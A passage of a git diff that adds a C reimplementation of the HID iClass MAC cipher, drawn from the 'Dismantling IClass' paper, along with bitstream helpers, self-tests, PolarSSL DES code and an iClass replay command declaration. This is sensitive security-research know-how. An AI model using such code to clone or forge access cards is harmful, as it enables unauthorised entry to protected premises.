-       /* We should have a valid filename now, e.g. dumpdata-3.bin */
-
-       /*Opening file for writing in binary mode*/
-       FILE *fileHandle=fopen(fileName,"wb");
-       if(!f) {
-               PrintAndLog("Failed to write to file '%s'", fileName);
-               return 0;
-       }
-       fwrite(data, 1, datalen, fileHandle);
-       fclose(fileHandle);
-       PrintAndLog("Saved data to '%s'", fileName);
-
-       free(fileName);
-       return 0;
-}
index 98c79e4b2f7f23f68631aba57096e224b5f90807..e4048eb170092b4f6cbfa5266830405ba70f406b 100644 (file)
@@ -18,6 +18,6 @@ int CmdHFiClassSnoop(const char *Cmd);
 int CmdHFiClassSim(const char *Cmd);
 int CmdHFiClassList(const char *Cmd);
 int CmdHFiClassReader(const char *Cmd);
-int saveFile(const char *preferredName, const char *suffix, const void* data, size_t datalen);
+int CmdHFiClassReader_Replay(const char *Cmd);
 
 #endif
diff --git a/client/loclass/cipher.c b/client/loclass/cipher.c
new file mode 100644 (file)
index 0000000..463ba9b
--- /dev/null
@@ -0,0 +1,255 @@
+/*****************************************************************************
+ * This file is part of iClassCipher. It is a reconstructon of the cipher engine
+ * used in iClass, and RFID techology.
+ *
+ * The implementation is based on the work performed by
+ * Flavio D. Garcia, Gerhard de Koning Gans, Roel Verdult and
+ * Milosch Meriac in the paper "Dismantling IClass".
+ *
+ * Copyright (C) 2014 Martin Holst Swende
+ *
+ * This is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License version 2 as published
+ * by the Free Software Foundation.
+ *
+ * This file is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with IClassCipher.  If not, see <http://www.gnu.org/licenses/>.
+ ****************************************************************************/
+
+#include "cipher.h"
+#include "cipherutils.h"
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <stdbool.h>
+#include <stdint.h>
+#include <time.h>
+#include "fileutils.h"
+uint8_t keytable[] = { 0,0,0,0,0,0,0,0};
+
+/**
+* Definition 1 (Cipher state). A cipher state of iClass s is an element of F 40/2
+* consisting of the following four components:
+*      1. the left register l = (l 0 . . . l 7 ) ∈ F 8/2 ;
+*      2. the right register r = (r 0 . . . r 7 ) ∈ F 8/2 ;
+*      3. the top register t = (t 0 . . . t 15 ) ∈ F 16/2 .
+*      4. the bottom register b = (b 0 . . . b 7 ) ∈ F 8/2 .
+**/
+typedef struct {
+       uint8_t l;
+       uint8_t r;
+       uint8_t b;
+       uint16_t t;
+} State;
+
+/**
+*      Definition 2. The feedback function for the top register T : F 16/2 → F 2
+*      is defined as
+*      T (x 0 x 1 . . . . . . x 15 ) = x 0 ⊕ x 1 ⊕ x 5 ⊕ x 7 ⊕ x 10 ⊕ x 11 ⊕ x 14 ⊕ x 15 .
+**/
+bool T(State state)
+{
+       bool x0 = state.t & 0x8000;
+       bool x1 = state.t & 0x4000;
+       bool x5 = state.t & 0x0400;
+       bool x7 = state.t & 0x0100;
+       bool x10 = state.t & 0x0020;
+       bool x11 = state.t & 0x0010;
+       bool x14 = state.t & 0x0002;
+       bool x15 = state.t & 0x0001;
+       return x0 ^ x1 ^ x5 ^ x7 ^ x10 ^ x11 ^ x14 ^ x15;
+}
+/**
+*      Similarly, the feedback function for the bottom register B : F 8/2 → F 2 is defined as
+*      B(x 0 x 1 . . . x 7 ) = x 1 ⊕ x 2 ⊕ x 3 ⊕ x 7 .
+**/
+bool B(State state)
+{
+       bool x1 = state.b & 0x40;
+       bool x2 = state.b & 0x20;
+       bool x3 = state.b & 0x10;
+       bool x7 = state.b & 0x01;
+
+       return x1 ^ x2 ^ x3 ^ x7;
+
+}
+
+
+/**
+*      Definition 3 (Selection function). The selection function select : F 2 × F 2 ×
+*      F 8/2 → F 3/2 is defined as select(x, y, r) = z 0 z 1 z 2 where
+*      z 0 = (r 0 ∧ r 2 ) ⊕ (r 1 ∧ r 3 ) ⊕ (r 2 ∨ r 4 )
+*      z 1 = (r 0 ∨ r 2 ) ⊕ (r 5 ∨ r 7 ) ⊕ r 1 ⊕ r 6 ⊕ x ⊕ y
+*      z 2 = (r 3 ∧ r 5 ) ⊕ (r 4 ∧ r 6 ) ⊕ r 7 ⊕ x
+**/
+uint8_t _select(bool x, bool y, uint8_t r)
+{
+       bool r0 = r >> 7 & 0x1;
+       bool r1 = r >> 6 & 0x1;
+       bool r2 = r >> 5 & 0x1;
+       bool r3 = r >> 4 & 0x1;
+       bool r4 = r >> 3 & 0x1;
+       bool r5 = r >> 2 & 0x1;
+       bool r6 = r >> 1 & 0x1;
+       bool r7 = r & 0x1;
+
+       bool z0 = (r0 & r2) ^ (r1 & ~r3) ^ (r2 | r4);
+       bool z1 = (r0 | r2) ^ ( r5 | r7) ^ r1 ^ r6 ^ x ^ y;
+       bool z2 = (r3 & ~r5) ^ (r4 & r6 ) ^ r7 ^ x;
+
+       // The three bitz z0.. z1 are packed into a uint8_t:
+       // 00000ZZZ
+       //Return value is a uint8_t
+       uint8_t retval = 0;
+       retval |= (z0 << 2) & 4;
+       retval |= (z1 << 1) & 2;
+       retval |= z2 & 1;
+
+       // Return value 0 <= retval <= 7
+       return retval;
+}
+
+/**
+*      Definition 4 (Successor state). Let s = l, r, t, b be a cipher state, k ∈ (F 82 ) 8
+*      be a key and y ∈ F 2 be the input bit. Then, the successor cipher state s ′ =
+*      l ′ , r ′ , t ′ , b ′ is defined as
+*      t ′ := (T (t) ⊕ r 0 ⊕ r 4 )t 0 . . . t 14 l ′ := (k [select(T (t),y,r)] ⊕ b ′ ) ⊞ l ⊞ r
+*      b ′ := (B(b) ⊕ r 7 )b 0 . . . b 6 r ′ := (k [select(T (t),y,r)] ⊕ b ′ ) ⊞ l
+*
+* @param s - state
+* @param k - array containing 8 bytes
+**/
+State successor(uint8_t* k, State s, bool y)
+{
+       bool r0 = s.r >> 7 & 0x1;
+       bool r4 = s.r >> 3 & 0x1;
+       bool r7 = s.r & 0x1;
+
+       State successor = {0,0,0,0};
+
+       successor.t = s.t >> 1;
+       successor.t |= (T(s) ^ r0 ^ r4) << 15;
+
+       successor.b = s.b >> 1;
+       successor.b |= (B(s) ^ r7) << 7;
+
+       bool Tt = T(s);
+
+       successor.l = ((k[_select(Tt,y,s.r)] ^ successor.b) + s.l+s.r ) & 0xFF;
+       successor.r = ((k[_select(Tt,y,s.r)] ^ successor.b) + s.l ) & 0xFF;
+
+       return successor;
+}
+/**
+*      We define the successor function suc which takes a key k ∈ (F 82 ) 8 , a state s and
+*      an input y ∈ F 2 and outputs the successor state s ′ . We overload the function suc
+*      to multiple bit input x ∈ F n 2 which we define as
+* @param k - array containing 8 bytes
+**/
+State suc(uint8_t* k,State s, BitstreamIn *bitstream)
+{
+       if(bitsLeft(bitstream) == 0)
+       {
+               return s;
+       }
+       bool lastbit = tailBit(bitstream);
+       return successor(k,suc(k,s,bitstream), lastbit);
+}
+
+/**
+*      Definition 5 (Output). Define the function output which takes an internal
+*      state s =< l, r, t, b > and returns the bit r 5 . We also define the function output
+*      on multiple bits input which takes a key k, a state s and an input x ∈ F n 2 as
+*      output(k, s, ǫ) = ǫ
+*      output(k, s, x 0 . . . x n ) = output(s) · output(k, s ′ , x 1 . . . x n )
+*      where s ′ = suc(k, s, x 0 ).
+**/
+void output(uint8_t* k,State s, BitstreamIn* in,  BitstreamOut* out)
+{
+       if(bitsLeft(in) == 0)
+       {
+               return;
+       }
+       pushBit(out,(s.r >> 2) & 1);
+       //Remove first bit
+       uint8_t x0 = headBit(in);
+       State ss = successor(k,s,x0);
+       output(k,ss,in, out);
+}
+
+/**
+* Definition 6 (Initial state). Define the function init which takes as input a
+* key k ∈ (F 82 ) 8 and outputs the initial cipher state s =< l, r, t, b >
+**/
+
+State init(uint8_t* k)
+{
+       State s = {
+       ((k[0] ^ 0x4c) + 0xEC) & 0xFF,// l
+       ((k[0] ^ 0x4c) + 0x21) & 0xFF,// r
+       0x4c, // b
+       0xE012 // t
+       };
+       return s;
+}
+void MAC(uint8_t* k, BitstreamIn input, BitstreamOut out)
+{
+       uint8_t zeroes_32[] = {0,0,0,0};
+       BitstreamIn input_32_zeroes = {zeroes_32,sizeof(zeroes_32)*8,0};
+       State initState = suc(k,init(k),&input);
+       output(k,initState,&input_32_zeroes,&out);
+}
+
+void doMAC(uint8_t *cc_nr_p, int length, uint8_t *div_key_p, uint8_t mac[4])
+{
+    uint8_t *cc_nr;
+    uint8_t div_key[8];
+    cc_nr=(uint8_t*)malloc(length+1);
+    memcpy(cc_nr,cc_nr_p,length);
+    memcpy(div_key,div_key_p,8);
+
+    reverse_arraybytes(cc_nr,length);
+    BitstreamIn bitstream = {cc_nr,length * 8,0};
+    uint8_t dest []= {0,0,0,0,0,0,0,0};
+    BitstreamOut out = { dest, sizeof(dest)*8, 0 };
+    MAC(div_key,bitstream, out);
+    //The output MAC must also be reversed
+    reverse_arraybytes(dest, sizeof(dest));
+    memcpy(mac, dest, 4);
+    //printf("Calculated_MAC\t%02x%02x%02x%02x\n", dest[0],dest[1],dest[2],dest[3]);
+    free(cc_nr);
+    return;
+}
+
+int testMAC()
+{
+       prnlog("[+] Testing MAC calculation...");
+
+       //From the "dismantling.IClass" paper:
+       uint8_t cc_nr[] = {0xFE,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0,0,0,0};
+       //From the paper
+       uint8_t div_key[8] = {0xE0,0x33,0xCA,0x41,0x9A,0xEE,0x43,0xF9};
+       uint8_t correct_MAC[4] = {0x1d,0x49,0xC9,0xDA};
+
+       uint8_t calculated_mac[4] = {0};
+    doMAC(cc_nr, 12,div_key, calculated_mac);
+
+       if(memcmp(calculated_mac, correct_MAC,4) == 0)
+       {
+               prnlog("[+] MAC calculation OK!");
+
+       }else
+       {
+               prnlog("[+] FAILED: MAC calculation failed:");
+               printarr("    Calculated_MAC", calculated_mac, 4);
+               printarr("    Correct_MAC   ", correct_MAC, 4);
+               return 1;
+       }
+
+       return 0;
+}
diff --git a/client/loclass/cipher.h b/client/loclass/cipher.h
new file mode 100644 (file)
index 0000000..4bfbe0b
--- /dev/null
@@ -0,0 +1,31 @@
+/*****************************************************************************
+ * This file is part of iClassCipher. It is a reconstructon of the cipher engine
+ * used in iClass, and RFID techology.
+ *
+ * The implementation is based on the work performed by
+ * Flavio D. Garcia, Gerhard de Koning Gans, Roel Verdult and
+ * Milosch Meriac in the paper "Dismantling IClass".
+ *
+ * Copyright (C) 2014 Martin Holst Swende
+ *
+ * This is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License version 2 as published
+ * by the Free Software Foundation.
+ *
+ * This file is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with IClassCipher.  If not, see <http://www.gnu.org/licenses/>.
+ ****************************************************************************/
+
+#ifndef CIPHER_H
+#define CIPHER_H
+#include <stdint.h>
+
+void doMAC(uint8_t *cc_nr_p, int length, uint8_t *div_key_p, uint8_t mac[4]);
+int testMAC();
+
+#endif // CIPHER_H
diff --git a/client/loclass/cipherutils.c b/client/loclass/cipherutils.c
new file mode 100644 (file)
index 0000000..1e08cf1
--- /dev/null
@@ -0,0 +1,273 @@
+/*****************************************************************************
+ * This file is part of iClassCipher. It is a reconstructon of the cipher engine
+ * used in iClass, and RFID techology.
+ *
+ * The implementation is based on the work performed by
+ * Flavio D. Garcia, Gerhard de Koning Gans, Roel Verdult and
+ * Milosch Meriac in the paper "Dismantling IClass".
+ *
+ * Copyright (C) 2014 Martin Holst Swende
+ *
+ * This is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License version 2 as published
+ * by the Free Software Foundation.
+ *
+ * This file is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with IClassCipher.  If not, see <http://www.gnu.org/licenses/>.
+ ****************************************************************************/
+
+#include <stdint.h>
+#include <stdio.h>
+#include <string.h>
+#include "fileutils.h"
+#include "cipherutils.h"
+/**
+ *
+ * @brief Return and remove the first bit (x0) in the stream : <x0 x1 x2 x3 ... xn >
+ * @param stream
+ * @return
+ */
+bool headBit( BitstreamIn *stream)
+{
+       int bytepos = stream->position >> 3; // divide by 8
+       int bitpos = (stream->position++) & 7; // mask out 00000111
+       return (*(stream->buffer + bytepos) >> (7-bitpos)) & 1;
+}
+/**
+ * @brief Return and remove the last bit (xn) in the stream: <x0 x1 x2 ... xn>
+ * @param stream
+ * @return
+ */
+bool tailBit( BitstreamIn *stream)
+{
+       int bitpos = stream->numbits -1 - (stream->position++);
+
+       int bytepos= bitpos >> 3;
+       bitpos &= 7;
+       return (*(stream->buffer + bytepos) >> (7-bitpos)) & 1;
+}
+/**
+ * @brief Pushes bit onto the stream
+ * @param stream
+ * @param bit
+ */
+void pushBit( BitstreamOut* stream, bool bit)
+{
+       int bytepos = stream->position >> 3; // divide by 8
+       int bitpos = stream->position & 7;
+       *(stream->buffer+bytepos) |= (bit & 1) <<  (7 - bitpos);
+       stream->position++;
+       stream->numbits++;
+}
+
+/**
+ * @brief Pushes the lower six bits onto the stream
+ * as b0 b1 b2 b3 b4 b5 b6
+ * @param stream
+ * @param bits
+ */
+void push6bits( BitstreamOut* stream, uint8_t bits)
+{
+       pushBit(stream, bits & 0x20);
+       pushBit(stream, bits & 0x10);
+       pushBit(stream, bits & 0x08);
+       pushBit(stream, bits & 0x04);
+       pushBit(stream, bits & 0x02);
+       pushBit(stream, bits & 0x01);
+}
+
+/**
+ * @brief bitsLeft
+ * @param stream
+ * @return number of bits left in stream
+ */
+int bitsLeft( BitstreamIn *stream)
+{
+       return stream->numbits - stream->position;
+}
+/**
+ * @brief numBits
+ * @param stream
+ * @return Number of bits stored in stream
+ */
+int numBits(BitstreamOut *stream)
+{
+       return stream->numbits;
+}
+
+void x_num_to_bytes(uint64_t n, size_t len, uint8_t* dest)
+{
+       while (len--) {
+               dest[len] = (uint8_t) n;
+               n >>= 8;
+       }
+}
+
+uint64_t x_bytes_to_num(uint8_t* src, size_t len)
+{
+       uint64_t num = 0;
+       while (len--)
+       {
+               num = (num << 8) | (*src);
+               src++;
+       }
+       return num;
+}
+uint8_t reversebytes(uint8_t b) {
+       b = (b & 0xF0) >> 4 | (b & 0x0F) << 4;
+       b = (b & 0xCC) >> 2 | (b & 0x33) << 2;
+       b = (b & 0xAA) >> 1 | (b & 0x55) << 1;
+   return b;
+}
+void reverse_arraybytes(uint8_t* arr, size_t len)
+{
+       uint8_t i;
+       for( i =0; i< len ; i++)
+       {
+               arr[i] = reversebytes(arr[i]);
+       }
+}
+void reverse_arraycopy(uint8_t* arr, uint8_t* dest, size_t len)
+{
+       uint8_t i;
+       for( i =0; i< len ; i++)
+       {
+               dest[i] = reversebytes(arr[i]);
+       }
+}
+
+void printarr(char * name, uint8_t* arr, int len)
+{
+       int cx;
+       size_t outsize = 40+strlen(name)+len*5;
+       char* output = malloc(outsize);
+       memset(output, 0,outsize);
+
+       int i ;
+       cx = snprintf(output,outsize, "uint8_t %s[] = {", name);
+       for(i =0 ;  i< len ; i++)
+       {
+               cx += snprintf(output+cx,outsize-cx,"0x%02x,",*(arr+i));//5 bytes per byte
+       }
+       cx += snprintf(output+cx,outsize-cx,"};");
+       prnlog(output);
+}
+
+void printvar(char * name, uint8_t* arr, int len)
+{
+       int cx;
+       size_t outsize = 40+strlen(name)+len*2;
+       char* output = malloc(outsize);
+       memset(output, 0,outsize);
+
+       int i ;
+       cx = snprintf(output,outsize,"%s = ", name);
+       for(i =0 ;  i< len ; i++)
+       {
+               cx += snprintf(output+cx,outsize-cx,"%02x",*(arr+i));//2 bytes per byte
+       }
+
+       prnlog(output);
+}
+
+void printarr_human_readable(char * title, uint8_t* arr, int len)
+{
+       int cx;
+       size_t outsize = 100+strlen(title)+len*4;
+       char* output = malloc(outsize);
+       memset(output, 0,outsize);
+
+
+       int i;
+       cx = snprintf(output,outsize,  "\n\t%s\n", title);
+       for(i =0 ;  i< len ; i++)
+       {
+               if(i % 16 == 0)
+                       cx += snprintf(output+cx,outsize-cx,"\n%02x| ", i );
+               cx += snprintf(output+cx,outsize-cx, "%02x ",*(arr+i));
+       }
+       prnlog(output);
+}
+
+//-----------------------------
+// Code for testing below
+//-----------------------------
+
+
+int testBitStream()
+{
+       uint8_t input [] = {0xDE,0xAD,0xBE,0xEF,0xDE,0xAD,0xBE,0xEF};
+       uint8_t output [] = {0,0,0,0,0,0,0,0};
+       BitstreamIn in = { input, sizeof(input) * 8,0};
+       BitstreamOut out ={ output, 0,0}
+                                         ;
+       while(bitsLeft(&in) > 0)
+       {
+               pushBit(&out, headBit(&in));
+               //printf("Bits left: %d\n", bitsLeft(&in));
+               //printf("Bits out: %d\n", numBits(&out));
+       }
+       if(memcmp(input, output, sizeof(input)) == 0)
+       {
+               prnlog("    Bitstream test 1 ok");
+       }else
+       {
+               prnlog("    Bitstream test 1 failed");
+               uint8_t i;
+               for(i = 0 ; i < sizeof(input) ; i++)
+               {
+                       prnlog("    IN %02x, OUT %02x", input[i], output[i]);
+               }
+               return 1;
+       }
+       return 0;
+}
+
+int testReversedBitstream()
+{
+       uint8_t input [] = {0xDE,0xAD,0xBE,0xEF,0xDE,0xAD,0xBE,0xEF};
+       uint8_t reverse [] = {0,0,0,0,0,0,0,0};
+       uint8_t output [] = {0,0,0,0,0,0,0,0};
+       BitstreamIn in = { input, sizeof(input) * 8,0};
+       BitstreamOut out ={ output, 0,0};
+       BitstreamIn reversed_in ={ reverse, sizeof(input)*8,0};
+       BitstreamOut reversed_out ={ reverse,0 ,0};
+
+       while(bitsLeft(&in) > 0)
+       {
+               pushBit(&reversed_out, tailBit(&in));
+       }
+       while(bitsLeft(&reversed_in) > 0)
+       {
+               pushBit(&out, tailBit(&reversed_in));
+       }
+       if(memcmp(input, output, sizeof(input)) == 0)
+       {
+               prnlog("    Bitstream test 2 ok");
+       }else
+       {
+               prnlog("    Bitstream test 2 failed");
+               uint8_t i;
+               for(i = 0 ; i < sizeof(input) ; i++)
+               {
+                       prnlog("    IN %02x, MIDDLE: %02x, OUT %02x", input[i],reverse[i], output[i]);
+               }
+               return 1;
+       }
+       return 0;
+}
+
+
+int testCipherUtils(void)
+{
+       prnlog("[+] Testing some internals...");
+       int retval = 0;
+       retval |= testBitStream();
+       retval |= testReversedBitstream();
+       return retval;
+}
diff --git a/client/loclass/cipherutils.h b/client/loclass/cipherutils.h
new file mode 100644 (file)
index 0000000..acf9611
--- /dev/null
@@ -0,0 +1,59 @@
+/*****************************************************************************
+ * This file is part of iClassCipher. It is a reconstructon of the cipher engine
+ * used in iClass, and RFID techology.
+ *
+ * The implementation is based on the work performed by
+ * Flavio D. Garcia, Gerhard de Koning Gans, Roel Verdult and
+ * Milosch Meriac in the paper "Dismantling IClass".
+ *
+ * Copyright (C) 2014 Martin Holst Swende
+ *
+ * This is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License version 2 as published
+ * by the Free Software Foundation.
+ *
+ * This file is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with IClassCipher.  If not, see <http://www.gnu.org/licenses/>.
+ ****************************************************************************/
+
+#ifndef CIPHERUTILS_H
+#define CIPHERUTILS_H
+#include <stdint.h>
+#include <stdbool.h>
+#include <stdlib.h>
+
+typedef struct {
+       uint8_t * buffer;
+       uint8_t numbits;
+       uint8_t position;
+} BitstreamIn;
+
+typedef struct {
+       uint8_t * buffer;
+       uint8_t numbits;
+       uint8_t position;
+}BitstreamOut;
+
+bool headBit( BitstreamIn *stream);
+bool tailBit( BitstreamIn *stream);
+void pushBit( BitstreamOut *stream, bool bit);
+int bitsLeft( BitstreamIn *stream);
+
+int testCipherUtils(void);
+int testMAC();
+void push6bits( BitstreamOut* stream, uint8_t bits);
+void EncryptDES(bool key[56], bool outBlk[64], bool inBlk[64], int verbose) ;
+void x_num_to_bytes(uint64_t n, size_t len, uint8_t* dest);
+uint64_t x_bytes_to_num(uint8_t* src, size_t len);
+uint8_t reversebytes(uint8_t b);
+void reverse_arraybytes(uint8_t* arr, size_t len);
+void reverse_arraycopy(uint8_t* arr, uint8_t* dest, size_t len);
+void printarr(char * name, uint8_t* arr, int len);
+void printvar(char * name, uint8_t* arr, int len);
+void printarr_human_readable(char * title, uint8_t* arr, int len);
+#endif // CIPHERUTILS_H
diff --git a/client/loclass/des.c b/client/loclass/des.c
new file mode 100644 (file)
index 0000000..746752d
--- /dev/null
@@ -0,0 +1,1014 @@
+/*
+ *  FIPS-46-3 compliant Triple-DES implementation
+ *
+ *  Copyright (C) 2006-2014, Brainspark B.V.
+ *
+ *  This file is part of PolarSSL (http://www.polarssl.org)
+ *  Lead Maintainer: Paul Bakker <polarssl_maintainer at polarssl.org>
+ *
+ *  All rights reserved.
+ *
+ *  This program is free software; you can redistribute it and/or modify
+ *  it under the terms of the GNU General Public License as published by
+ *  the Free Software Foundation; either version 2 of the License, or
+ *  (at your option) any later version.
+ *
+ *  This program is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *  GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License along
+ *  with this program; if not, write to the Free Software Foundation, Inc.,
+ *  51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
+ */
+/*
+ *  DES, on which TDES is based, was originally designed by Horst Feistel
+ *  at IBM in 1974, and was adopted as a standard by NIST (formerly NBS).
+ *
+ *  http://csrc.nist.gov/publications/fips/fips46-3/fips46-3.pdf
+ */
+
+//#include "polarssl/config.h"
+#define POLARSSL_DES_C
+
+#if defined(POLARSSL_DES_C)
+
+#include "des.h"
+
+#if defined(POLARSSL_PLATFORM_C)
+#include "polarssl/platform.h"
+#else
+#define polarssl_printf printf
+#endif
+
+#if !defined(POLARSSL_DES_ALT)
+
+/*
+ * 32-bit integer manipulation macros (big endian)
+ */
+#ifndef GET_UINT32_BE
+#define GET_UINT32_BE(n,b,i)                            \
+{                                                       \
+       (n) = ( (uint32_t) (b)[(i)    ] << 24 )             \
+               | ( (uint32_t) (b)[(i) + 1] << 16 )             \
+               | ( (uint32_t) (b)[(i) + 2] <<  8 )             \
+               | ( (uint32_t) (b)[(i) + 3]       );            \
+}
+#endif
+
+#ifndef PUT_UINT32_BE
+#define PUT_UINT32_BE(n,b,i)                            \
+{                                                       \
+       (b)[(i)    ] = (unsigned char) ( (n) >> 24 );       \
+       (b)[(i) + 1] = (unsigned char) ( (n) >> 16 );       \
+       (b)[(i) + 2] = (unsigned char) ( (n) >>  8 );       \
+       (b)[(i) + 3] = (unsigned char) ( (n)       );       \
+}
+#endif
+
+/*
+ * Expanded DES S-boxes
+ */
+static const uint32_t SB1[64] =
+{
+       0x01010400, 0x00000000, 0x00010000, 0x01010404,
+       0x01010004, 0x00010404, 0x00000004, 0x00010000,
+       0x00000400, 0x01010400, 0x01010404, 0x00000400,
+       0x01000404, 0x01010004, 0x01000000, 0x00000004,
+       0x00000404, 0x01000400, 0x01000400, 0x00010400,
+       0x00010400, 0x01010000, 0x01010000, 0x01000404,
+       0x00010004, 0x01000004, 0x01000004, 0x00010004,
+       0x00000000, 0x00000404, 0x00010404, 0x01000000,
+       0x00010000, 0x01010404, 0x00000004, 0x01010000,
+       0x01010400, 0x01000000, 0x01000000, 0x00000400,
+       0x01010004, 0x00010000, 0x00010400, 0x01000004,
+       0x00000400, 0x00000004, 0x01000404, 0x00010404,
+       0x01010404, 0x00010004, 0x01010000, 0x01000404,
+       0x01000004, 0x00000404, 0x00010404, 0x01010400,
+       0x00000404, 0x01000400, 0x01000400, 0x00000000,
+       0x00010004, 0x00010400, 0x00000000, 0x01010004
+};
+
+static const uint32_t SB2[64] =
+{
+       0x80108020, 0x80008000, 0x00008000, 0x00108020,
+       0x00100000, 0x00000020, 0x80100020, 0x80008020,
+       0x80000020, 0x80108020, 0x80108000, 0x80000000,
+       0x80008000, 0x00100000, 0x00000020, 0x80100020,
+       0x00108000, 0x00100020, 0x80008020, 0x00000000,
+       0x80000000, 0x00008000, 0x00108020, 0x80100000,
+       0x00100020, 0x80000020, 0x00000000, 0x00108000,
+       0x00008020, 0x80108000, 0x80100000, 0x00008020,
+       0x00000000, 0x00108020, 0x80100020, 0x00100000,
+       0x80008020, 0x80100000, 0x80108000, 0x00008000,
+       0x80100000, 0x80008000, 0x00000020, 0x80108020,
+       0x00108020, 0x00000020, 0x00008000, 0x80000000,
+       0x00008020, 0x80108000, 0x00100000, 0x80000020,
+       0x00100020, 0x80008020, 0x80000020, 0x00100020,
+       0x00108000, 0x00000000, 0x80008000, 0x00008020,
+       0x80000000, 0x80100020, 0x80108020, 0x00108000
+};
+
+static const uint32_t SB3[64] =
+{
+       0x00000208, 0x08020200, 0x00000000, 0x08020008,
+       0x08000200, 0x00000000, 0x00020208, 0x08000200,
+       0x00020008, 0x08000008, 0x08000008, 0x00020000,
+       0x08020208, 0x00020008, 0x08020000, 0x00000208,
+       0x08000000, 0x00000008, 0x08020200, 0x00000200,
+       0x00020200, 0x08020000, 0x08020008, 0x00020208,
+       0x08000208, 0x00020200, 0x00020000, 0x08000208,
+       0x00000008, 0x08020208, 0x00000200, 0x08000000,
+       0x08020200, 0x08000000, 0x00020008, 0x00000208,
+       0x00020000, 0x08020200, 0x08000200, 0x00000000,
+       0x00000200, 0x00020008, 0x08020208, 0x08000200,
+       0x08000008, 0x00000200, 0x00000000, 0x08020008,
+       0x08000208, 0x00020000, 0x08000000, 0x08020208,
+       0x00000008, 0x00020208, 0x00020200, 0x08000008,
+       0x08020000, 0x08000208, 0x00000208, 0x08020000,
+       0x00020208, 0x00000008, 0x08020008, 0x00020200
+};
+
+static const uint32_t SB4[64] =
+{
+       0x00802001, 0x00002081, 0x00002081, 0x00000080,
+       0x00802080, 0x00800081, 0x00800001, 0x00002001,
+       0x00000000, 0x00802000, 0x00802000, 0x00802081,
+       0x00000081, 0x00000000, 0x00800080, 0x00800001,
+       0x00000001, 0x00002000, 0x00800000, 0x00802001,
+       0x00000080, 0x00800000, 0x00002001, 0x00002080,
+       0x00800081, 0x00000001, 0x00002080, 0x00800080,
+       0x00002000, 0x00802080, 0x00802081, 0x00000081,
+       0x00800080, 0x00800001, 0x00802000, 0x00802081,
+       0x00000081, 0x00000000, 0x00000000, 0x00802000,
+       0x00002080, 0x00800080, 0x00800081, 0x00000001,
+       0x00802001, 0x00002081, 0x00002081, 0x00000080,
+       0x00802081, 0x00000081, 0x00000001, 0x00002000,
+       0x00800001, 0x00002001, 0x00802080, 0x00800081,
+       0x00002001, 0x00002080, 0x00800000, 0x00802001,
+       0x00000080, 0x00800000, 0x00002000, 0x00802080
+};
+
+static const uint32_t SB5[64] =
+{
+       0x00000100, 0x02080100, 0x02080000, 0x42000100,
+       0x00080000, 0x00000100, 0x40000000, 0x02080000,
+       0x40080100, 0x00080000, 0x02000100, 0x40080100,
+       0x42000100, 0x42080000, 0x00080100, 0x40000000,
+       0x02000000, 0x40080000, 0x40080000, 0x00000000,
+       0x40000100, 0x42080100, 0x42080100, 0x02000100,
+       0x42080000, 0x40000100, 0x00000000, 0x42000000,
+       0x02080100, 0x02000000, 0x42000000, 0x00080100,
+       0x00080000, 0x42000100, 0x00000100, 0x02000000,
+       0x40000000, 0x02080000, 0x42000100, 0x40080100,
+       0x02000100, 0x40000000, 0x42080000, 0x02080100,
+       0x40080100, 0x00000100, 0x02000000, 0x42080000,
+       0x42080100, 0x00080100, 0x42000000, 0x42080100,
+       0x02080000, 0x00000000, 0x40080000, 0x42000000,
+       0x00080100, 0x02000100, 0x40000100, 0x00080000,
+       0x00000000, 0x40080000, 0x02080100, 0x40000100
+};
+
+static const uint32_t SB6[64] =
+{
+       0x20000010, 0x20400000, 0x00004000, 0x20404010,
+       0x20400000, 0x00000010, 0x20404010, 0x00400000,
+       0x20004000, 0x00404010, 0x00400000, 0x20000010,
+       0x00400010, 0x20004000, 0x20000000, 0x00004010,
+       0x00000000, 0x00400010, 0x20004010, 0x00004000,
+       0x00404000, 0x20004010, 0x00000010, 0x20400010,
+       0x20400010, 0x00000000, 0x00404010, 0x20404000,
+       0x00004010, 0x00404000, 0x20404000, 0x20000000,
+       0x20004000, 0x00000010, 0x20400010, 0x00404000,
+       0x20404010, 0x00400000, 0x00004010, 0x20000010,
+       0x00400000, 0x20004000, 0x20000000, 0x00004010,
+       0x20000010, 0x20404010, 0x00404000, 0x20400000,
+       0x00404010, 0x20404000, 0x00000000, 0x20400010,
+       0x00000010, 0x00004000, 0x20400000, 0x00404010,
+       0x00004000, 0x00400010, 0x20004010, 0x00000000,
+       0x20404000, 0x20000000, 0x00400010, 0x20004010
+};
+
+static const uint32_t SB7[64] =
+{
+       0x00200000, 0x04200002, 0x04000802, 0x00000000,
+       0x00000800, 0x04000802, 0x00200802, 0x04200800,
+       0x04200802, 0x00200000, 0x00000000, 0x04000002,
+       0x00000002, 0x04000000, 0x04200002, 0x00000802,
+       0x04000800, 0x00200802, 0x00200002, 0x04000800,
+       0x04000002, 0x04200000, 0x04200800, 0x00200002,
